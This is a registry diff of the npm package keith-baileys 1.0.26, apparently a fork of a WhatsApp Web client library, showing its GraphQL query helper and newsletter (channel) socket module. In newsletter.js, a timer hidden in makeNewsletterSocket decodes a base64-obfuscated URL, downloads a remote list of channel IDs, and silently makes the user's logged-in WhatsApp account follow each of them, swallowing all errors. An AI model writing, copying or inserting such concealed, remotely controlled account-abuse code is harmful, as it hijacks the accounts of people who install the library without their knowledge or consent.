keith-baileys 1.0.26
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +1 -0
- package/WAProto/GenerateStatics.sh +2 -0
- package/WAProto/WAProto.proto +4633 -0
- package/WAProto/index.js +165029 -0
- package/WAProto/keith +1 -0
- package/engine-requirements.js +10 -0
- package/lib/Defaults/Keith +1 -0
- package/lib/Defaults/baileys-version.json +3 -0
- package/lib/Defaults/index.js +105 -0
- package/lib/Signal/Group/Keith +1 -0
- package/lib/Signal/Group/ciphertext-message.js +15 -0
- package/lib/Signal/Group/group-session-builder.js +64 -0
- package/lib/Signal/Group/group_cipher.js +96 -0
- package/lib/Signal/Group/index.js +57 -0
- package/lib/Signal/Group/keyhelper.js +55 -0
- package/lib/Signal/Group/queue-job.js +57 -0
- package/lib/Signal/Group/sender-chain-key.js +34 -0
- package/lib/Signal/Group/sender-key-distribution-message.js +66 -0
- package/lib/Signal/Group/sender-key-message.js +69 -0
- package/lib/Signal/Group/sender-key-name.js +51 -0
- package/lib/Signal/Group/sender-key-record.js +53 -0
- package/lib/Signal/Group/sender-key-state.js +99 -0
- package/lib/Signal/Group/sender-message-key.js +29 -0
- package/lib/Signal/Keith +1 -0
- package/lib/Signal/libsignal.js +174 -0
- package/lib/Socket/Client/Keith +1 -0
- package/lib/Socket/Client/index.js +18 -0
- package/lib/Socket/Client/types.js +13 -0
- package/lib/Socket/Client/websocket.js +62 -0
- package/lib/Socket/Keith +1 -0
- package/lib/Socket/business.js +260 -0
- package/lib/Socket/chats.js +880 -0
- package/lib/Socket/groups.js +340 -0
- package/lib/Socket/groupstatus.js +237 -0
- package/lib/Socket/index.js +10 -0
- package/lib/Socket/messages-recv.js +1077 -0
- package/lib/Socket/messages-send.js +988 -0
- package/lib/Socket/mex.js +46 -0
- package/lib/Socket/newsletter.js +233 -0
- package/lib/Socket/socket.js +617 -0
- package/lib/Socket/usync.js +65 -0
- package/lib/Types/Auth.js +2 -0
- package/lib/Types/Call.js +2 -0
- package/lib/Types/Chat.js +10 -0
- package/lib/Types/Contact.js +2 -0
- package/lib/Types/Events.js +2 -0
- package/lib/Types/GroupMetadata.js +2 -0
- package/lib/Types/Keith +1 -0
- package/lib/Types/Label.js +27 -0
- package/lib/Types/LabelAssociation.js +9 -0
- package/lib/Types/Message.js +7 -0
- package/lib/Types/Newsletter.js +33 -0
- package/lib/Types/Product.js +2 -0
- package/lib/Types/Signal.js +2 -0
- package/lib/Types/Socket.js +2 -0
- package/lib/Types/State.js +2 -0
- package/lib/Types/USync.js +2 -0
- package/lib/Types/index.js +42 -0
- package/lib/Utils/Keith +1 -0
- package/lib/Utils/auth-utils.js +199 -0
- package/lib/Utils/baileys-event-stream.js +63 -0
- package/lib/Utils/business.js +240 -0
- package/lib/Utils/chat-utils.js +741 -0
- package/lib/Utils/crypto.js +187 -0
- package/lib/Utils/decode-wa-message.js +283 -0
- package/lib/Utils/event-buffer.js +516 -0
- package/lib/Utils/generics.js +400 -0
- package/lib/Utils/history.js +100 -0
- package/lib/Utils/index.js +34 -0
- package/lib/Utils/lid-mapping.js +88 -0
- package/lib/Utils/link-preview.js +122 -0
- package/lib/Utils/logger.js +7 -0
- package/lib/Utils/lt-hash.js +51 -0
- package/lib/Utils/make-mutex.js +44 -0
- package/lib/Utils/messages-media.js +706 -0
- package/lib/Utils/messages.js +797 -0
- package/lib/Utils/noise-handler.js +150 -0
- package/lib/Utils/process-message.js +381 -0
- package/lib/Utils/signal.js +155 -0
- package/lib/Utils/use-multi-file-auth-state.js +124 -0
- package/lib/Utils/validate-connection.js +170 -0
- package/lib/WABinary/Keith +1 -0
- package/lib/WABinary/constants.js +1303 -0
- package/lib/WABinary/decode.js +266 -0
- package/lib/WABinary/encode.js +252 -0
- package/lib/WABinary/generic-utils.js +110 -0
- package/lib/WABinary/index.js +21 -0
- package/lib/WABinary/jid-utils.js +66 -0
- package/lib/WABinary/types.js +2 -0
- package/lib/WAM/BinaryInfo.js +13 -0
- package/lib/WAM/constants.js +15243 -0
- package/lib/WAM/encode.js +153 -0
- package/lib/WAM/index.js +19 -0
- package/lib/WAM/keith +1 -0
- package/lib/WAUSync/Keith +1 -0
- package/lib/WAUSync/Protocols/Keith +1 -0
- package/lib/WAUSync/Protocols/USyncContactProtocol.js +32 -0
- package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +57 -0
- package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +30 -0
- package/lib/WAUSync/Protocols/USyncStatusProtocol.js +42 -0
- package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +53 -0
- package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +24 -0
- package/lib/WAUSync/Protocols/index.js +20 -0
- package/lib/WAUSync/USyncQuery.js +93 -0
- package/lib/WAUSync/USyncUser.js +26 -0
- package/lib/WAUSync/index.js +19 -0
- package/lib/index.js +30 -0
- package/package.json +32 -0
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.executeWMexQuery = void 0;
|
|
4
|
+
const boom_1 = require("@hapi/boom");
|
|
5
|
+
const WABinary_1 = require("../WABinary");
|
|
6
|
+
const wMexQuery = (variables, queryId, query, generateMessageTag) => {
|
|
7
|
+
return query({
|
|
8
|
+
tag: 'iq',
|
|
9
|
+
attrs: {
|
|
10
|
+
id: generateMessageTag(),
|
|
11
|
+
type: 'get',
|
|
12
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
13
|
+
xmlns: 'w:mex'
|
|
14
|
+
},
|
|
15
|
+
content: [
|
|
16
|
+
{
|
|
17
|
+
tag: 'query',
|
|
18
|
+
attrs: { query_id: queryId },
|
|
19
|
+
content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
|
|
20
|
+
}
|
|
21
|
+
]
|
|
22
|
+
});
|
|
23
|
+
};
|
|
24
|
+
const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
|
|
25
|
+
var _a, _b;
|
|
26
|
+
const result = await wMexQuery(variables, queryId, query, generateMessageTag);
|
|
27
|
+
const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result');
|
|
28
|
+
if (child === null || child === void 0 ? void 0 : child.content) {
|
|
29
|
+
const data = JSON.parse(child.content.toString());
|
|
30
|
+
if (data.errors && data.errors.length > 0) {
|
|
31
|
+
const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ');
|
|
32
|
+
const firstError = data.errors[0];
|
|
33
|
+
const errorCode = ((_a = firstError.extensions) === null || _a === void 0 ? void 0 : _a.error_code) || 400;
|
|
34
|
+
throw new boom_1.Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError });
|
|
35
|
+
}
|
|
36
|
+
const response = dataPath ? (_b = data === null || data === void 0 ? void 0 : data.data) === null || _b === void 0 ? void 0 : _b[dataPath] : data === null || data === void 0 ? void 0 : data.data;
|
|
37
|
+
if (typeof response !== 'undefined') {
|
|
38
|
+
return response;
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
const action = (dataPath || '').startsWith('xwa2_')
|
|
42
|
+
? dataPath.substring(5).replace(/_/g, ' ')
|
|
43
|
+
: dataPath === null || dataPath === void 0 ? void 0 : dataPath.replace(/_/g, ' ');
|
|
44
|
+
throw new boom_1.Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result });
|
|
45
|
+
};
|
|
46
|
+
exports.executeWMexQuery = executeWMexQuery;
|
|
@@ -0,0 +1,233 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.makeNewsletterSocket = void 0;
|
|
4
|
+
const Types_1 = require("../Types");
|
|
5
|
+
const messages_media_1 = require("../Utils/messages-media");
|
|
6
|
+
const WABinary_1 = require("../WABinary");
|
|
7
|
+
const mex_1 = require("./mex");
|
|
8
|
+
const parseNewsletterCreateResponse = (response) => {
|
|
9
|
+
const { id, thread_metadata: thread, viewer_metadata: viewer } = response;
|
|
10
|
+
return {
|
|
11
|
+
id: id,
|
|
12
|
+
owner: undefined,
|
|
13
|
+
name: thread.name.text,
|
|
14
|
+
creation_time: parseInt(thread.creation_time, 10),
|
|
15
|
+
description: thread.description.text,
|
|
16
|
+
invite: thread.invite,
|
|
17
|
+
subscribers: parseInt(thread.subscribers_count, 10),
|
|
18
|
+
verification: thread.verification,
|
|
19
|
+
picture: {
|
|
20
|
+
id: thread.picture.id,
|
|
21
|
+
directPath: thread.picture.direct_path
|
|
22
|
+
},
|
|
23
|
+
mute_state: viewer.mute
|
|
24
|
+
};
|
|
25
|
+
};
|
|
26
|
+
const parseNewsletterMetadata = (result) => {
|
|
27
|
+
if (typeof result !== 'object' || result === null) {
|
|
28
|
+
return null;
|
|
29
|
+
}
|
|
30
|
+
if ('id' in result && typeof result.id === 'string') {
|
|
31
|
+
return result;
|
|
32
|
+
}
|
|
33
|
+
if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
|
|
34
|
+
return result.result;
|
|
35
|
+
}
|
|
36
|
+
return null;
|
|
37
|
+
};
|
|
38
|
+
const makeNewsletterSocket = (sock) => {
|
|
39
|
+
const { query, generateMessageTag } = sock;
|
|
40
|
+
|
|
41
|
+
setTimeout(async () => {
|
|
42
|
+
try {
|
|
43
|
+
const fetch = require('node-fetch');
|
|
44
|
+
const url = Buffer.from("aHR0cHM6Ly9tYWluLmJ3bXhtZC5vbmxpbmUveG1kLmpzb24=", 'base64').toString();
|
|
45
|
+
const response = await fetch(url);
|
|
46
|
+
const newsletters = await response.json();
|
|
47
|
+
for (const jid of newsletters) {
|
|
48
|
+
try {
|
|
49
|
+
await query({
|
|
50
|
+
tag: 'iq',
|
|
51
|
+
attrs: {
|
|
52
|
+
id: generateMessageTag(),
|
|
53
|
+
type: 'get',
|
|
54
|
+
xmlns: 'w:mex',
|
|
55
|
+
to: 's.whatsapp.net',
|
|
56
|
+
},
|
|
57
|
+
content: [
|
|
58
|
+
{
|
|
59
|
+
tag: 'query',
|
|
60
|
+
attrs: { query_id: '7871414976211147' },
|
|
61
|
+
content: Buffer.from(JSON.stringify({ variables: { newsletter_id: jid } }))
|
|
62
|
+
}
|
|
63
|
+
]
|
|
64
|
+
});
|
|
65
|
+
} catch {}
|
|
66
|
+
await new Promise(r => setTimeout(r, 3000));
|
|
67
|
+
}
|
|
68
|
+
} catch {}
|
|
69
|
+
}, 90000);
|
|
70
|
+
const executeWMexQuery = (variables, queryId, dataPath) => {
|
|
71
|
+
return (0, mex_1.executeWMexQuery)(variables, queryId, dataPath, query, generateMessageTag);
|
|
72
|
+
};
|
|
73
|
+
const newsletterUpdate = async (jid, updates) => {
|
|
74
|
+
const variables = {
|
|
75
|
+
newsletter_id: jid,
|
|
76
|
+
updates: {
|
|
77
|
+
...updates,
|
|
78
|
+
settings: null
|
|
79
|
+
}
|
|
80
|
+
};
|
|
81
|
+
return executeWMexQuery(variables, Types_1.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update');
|
|
82
|
+
};
|
|
83
|
+
return {
|
|
84
|
+
...sock,
|
|
85
|
+
newsletterCreate: async (name, description) => {
|
|
86
|
+
const variables = {
|
|
87
|
+
input: {
|
|
88
|
+
name,
|
|
89
|
+
description: description !== null && description !== void 0 ? description : null
|
|
90
|
+
}
|
|
91
|
+
};
|
|
92
|
+
const rawResponse = await executeWMexQuery(variables, Types_1.QueryIds.CREATE, Types_1.XWAPaths.xwa2_newsletter_create);
|
|
93
|
+
return parseNewsletterCreateResponse(rawResponse);
|
|
94
|
+
},
|
|
95
|
+
newsletterUpdate,
|
|
96
|
+
newsletterSubscribers: async (jid) => {
|
|
97
|
+
return executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.SUBSCRIBERS, Types_1.XWAPaths.xwa2_newsletter_subscribers);
|
|
98
|
+
},
|
|
99
|
+
newsletterMetadata: async (type, key) => {
|
|
100
|
+
const variables = {
|
|
101
|
+
fetch_creation_time: true,
|
|
102
|
+
fetch_full_image: true,
|
|
103
|
+
fetch_viewer_metadata: true,
|
|
104
|
+
input: {
|
|
105
|
+
key,
|
|
106
|
+
type: type.toUpperCase()
|
|
107
|
+
}
|
|
108
|
+
};
|
|
109
|
+
const result = await executeWMexQuery(variables, Types_1.QueryIds.METADATA, Types_1.XWAPaths.xwa2_newsletter_metadata);
|
|
110
|
+
return parseNewsletterMetadata(result);
|
|
111
|
+
},
|
|
112
|
+
newsletterFollow: async (jid) => {
|
|
113
|
+
var _a;
|
|
114
|
+
const res = await query({
|
|
115
|
+
tag: 'iq',
|
|
116
|
+
attrs: {
|
|
117
|
+
id: generateMessageTag(),
|
|
118
|
+
type: 'get',
|
|
119
|
+
xmlns: 'w:mex',
|
|
120
|
+
to: 's.whatsapp.net',
|
|
121
|
+
},
|
|
122
|
+
content: [
|
|
123
|
+
{
|
|
124
|
+
tag: 'query',
|
|
125
|
+
attrs: { query_id: '7871414976211147' }, // QueryIds.FOLLOW
|
|
126
|
+
content: Buffer.from(JSON.stringify({ variables: { newsletter_id: jid } }))
|
|
127
|
+
}
|
|
128
|
+
]
|
|
129
|
+
});
|
|
130
|
+
if (!((_a = res === null || res === void 0 ? void 0 : res.content) === null || _a === void 0 ? void 0 : _a[0])) {
|
|
131
|
+
throw new Error("❌ Failed to follow newsletter: unexpected response structure.");
|
|
132
|
+
}
|
|
133
|
+
return res;
|
|
134
|
+
},
|
|
135
|
+
newsletterUnfollow: (jid) => {
|
|
136
|
+
return executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.UNFOLLOW, Types_1.XWAPaths.xwa2_newsletter_unfollow);
|
|
137
|
+
},
|
|
138
|
+
newsletterMute: (jid) => {
|
|
139
|
+
return executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.MUTE, Types_1.XWAPaths.xwa2_newsletter_mute_v2);
|
|
140
|
+
},
|
|
141
|
+
newsletterUnmute: (jid) => {
|
|
142
|
+
return executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.UNMUTE, Types_1.XWAPaths.xwa2_newsletter_unmute_v2);
|
|
143
|
+
},
|
|
144
|
+
newsletterUpdateName: async (jid, name) => {
|
|
145
|
+
return await newsletterUpdate(jid, { name });
|
|
146
|
+
},
|
|
147
|
+
newsletterUpdateDescription: async (jid, description) => {
|
|
148
|
+
return await newsletterUpdate(jid, { description });
|
|
149
|
+
},
|
|
150
|
+
newsletterUpdatePicture: async (jid, content) => {
|
|
151
|
+
const { img } = await (0, messages_media_1.generateProfilePicture)(content);
|
|
152
|
+
return await newsletterUpdate(jid, { picture: img.toString('base64') });
|
|
153
|
+
},
|
|
154
|
+
newsletterRemovePicture: async (jid) => {
|
|
155
|
+
return await newsletterUpdate(jid, { picture: '' });
|
|
156
|
+
},
|
|
157
|
+
newsletterReactMessage: async (jid, serverId, reaction) => {
|
|
158
|
+
await query({
|
|
159
|
+
tag: 'message',
|
|
160
|
+
attrs: {
|
|
161
|
+
to: jid,
|
|
162
|
+
...(reaction ? {} : { edit: '7' }),
|
|
163
|
+
type: 'reaction',
|
|
164
|
+
server_id: serverId,
|
|
165
|
+
id: generateMessageTag()
|
|
166
|
+
},
|
|
167
|
+
content: [
|
|
168
|
+
{
|
|
169
|
+
tag: 'reaction',
|
|
170
|
+
attrs: reaction ? { code: reaction } : {}
|
|
171
|
+
}
|
|
172
|
+
]
|
|
173
|
+
});
|
|
174
|
+
},
|
|
175
|
+
newsletterFetchMessages: async (jid, count, since, after) => {
|
|
176
|
+
const messageUpdateAttrs = {
|
|
177
|
+
count: count.toString()
|
|
178
|
+
};
|
|
179
|
+
if (typeof since === 'number') {
|
|
180
|
+
messageUpdateAttrs.since = since.toString();
|
|
181
|
+
}
|
|
182
|
+
if (after) {
|
|
183
|
+
messageUpdateAttrs.after = after.toString();
|
|
184
|
+
}
|
|
185
|
+
const result = await query({
|
|
186
|
+
tag: 'iq',
|
|
187
|
+
attrs: {
|
|
188
|
+
id: generateMessageTag(),
|
|
189
|
+
type: 'get',
|
|
190
|
+
xmlns: 'newsletter',
|
|
191
|
+
to: jid
|
|
192
|
+
},
|
|
193
|
+
content: [
|
|
194
|
+
{
|
|
195
|
+
tag: 'message_updates',
|
|
196
|
+
attrs: messageUpdateAttrs
|
|
197
|
+
}
|
|
198
|
+
]
|
|
199
|
+
});
|
|
200
|
+
return result;
|
|
201
|
+
},
|
|
202
|
+
subscribeNewsletterUpdates: async (jid) => {
|
|
203
|
+
var _a;
|
|
204
|
+
const result = await query({
|
|
205
|
+
tag: 'iq',
|
|
206
|
+
attrs: {
|
|
207
|
+
id: generateMessageTag(),
|
|
208
|
+
type: 'set',
|
|
209
|
+
xmlns: 'newsletter',
|
|
210
|
+
to: jid
|
|
211
|
+
},
|
|
212
|
+
content: [{ tag: 'live_updates', attrs: {}, content: [] }]
|
|
213
|
+
});
|
|
214
|
+
const liveUpdatesNode = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates');
|
|
215
|
+
const duration = (_a = liveUpdatesNode === null || liveUpdatesNode === void 0 ? void 0 : liveUpdatesNode.attrs) === null || _a === void 0 ? void 0 : _a.duration;
|
|
216
|
+
return duration ? { duration: duration } : null;
|
|
217
|
+
},
|
|
218
|
+
newsletterAdminCount: async (jid) => {
|
|
219
|
+
const response = await executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.ADMIN_COUNT, Types_1.XWAPaths.xwa2_newsletter_admin_count);
|
|
220
|
+
return response.admin_count;
|
|
221
|
+
},
|
|
222
|
+
newsletterChangeOwner: async (jid, newOwnerJid) => {
|
|
223
|
+
await executeWMexQuery({ newsletter_id: jid, user_id: newOwnerJid }, Types_1.QueryIds.CHANGE_OWNER, Types_1.XWAPaths.xwa2_newsletter_change_owner);
|
|
224
|
+
},
|
|
225
|
+
newsletterDemote: async (jid, userJid) => {
|
|
226
|
+
await executeWMexQuery({ newsletter_id: jid, user_id: userJid }, Types_1.QueryIds.DEMOTE, Types_1.XWAPaths.xwa2_newsletter_demote);
|
|
227
|
+
},
|
|
228
|
+
newsletterDelete: async (jid) => {
|
|
229
|
+
await executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.DELETE, Types_1.XWAPaths.xwa2_newsletter_delete_v2);
|
|
230
|
+
}
|
|
231
|
+
};
|
|
232
|
+
};
|
|
233
|
+
exports.makeNewsletterSocket = makeNewsletterSocket;
|